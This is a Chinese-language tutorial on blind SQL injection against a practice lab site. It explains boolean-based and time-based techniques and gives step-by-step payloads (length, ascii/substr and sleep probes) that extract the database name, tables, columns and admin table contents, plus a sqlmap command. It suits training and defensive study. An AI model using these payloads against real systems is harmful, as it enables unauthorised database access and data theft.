什么是盲注?
盲注跟显错注入的原理是一样的,只不过一个有回显,一个关闭了web服务器代码错误的回显,导致输入的代码没有回显。盲注就是在服务器没有错误回显的时候完成的注入攻击。
盲注分为 布尔盲注和时间盲注
布尔盲注:
布尔很明显Tuer跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息
时间盲注:
界面返回只有一种True,通过加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确
盲注需要掌握的几个函数
length() 返回字符串的长度
substr() 截取字符串
ascii() 返回字符的ascii码
sleep() 睡眠,挂起一段时间
if(a1,a2,a3)判断语句,如果第一个语句正确就执行第二个语句如果错误执行第三个语句
布尔盲注靶场
and -1=-1有数据
and -1=-2 没有数据
查看数据库长度
and length(database())>5
如果当前数据库名长度大于5,返会一个Ture
经过测试数据库长度为12
查询库名的ascii码
and ascii(substr(database(),1,1))>99
如果当前库名的第一个字符大与99就会返回Ture,否则为fales
通过测出的ascii码值,对应ascii表就可以查询到库名的第一个字符,以此类推查完剩下的字符
猜表名
跟猜库名一样查询表名对应的ascii码
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>80
猜字段
and (ascii(substr((select column_name from information_schema.columns where table_name=’admin’ limit 0,1),1,1)))>80
猜内容
and (ascii(substr(( select username from admin limit 0,1),1,1)))>80
时间盲注(延时注入)
无论怎么输入代码页面都是正常有数据
判断有没有注入
" and sleep(5) --+
如果页面延时了5秒证明存在注入,如果网络差可以F12查看返回的时间
判断数据库长度
and if((length(database()))=12,sleep(5),1) --+
做法跟布尔注入一样,一个页面有回显,一个没有,依靠sleep()函数延时来判断
判断库名
" and if((ascii(substr(database(),1,1)))=107,sleep(5),1) --+
判读表名
" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=5,sleep(5),0)—+
判断字段名
" and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=’zkaq’),1,1))=1,sleep(5),0)—+
查询内容
and if(ascii(substr((select group_concat(flag) from admin),1,1))>1,sleep(5),0)—+
使用sqlmap做盲注
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1" --technique T --dbs
–technique 基于时间型探测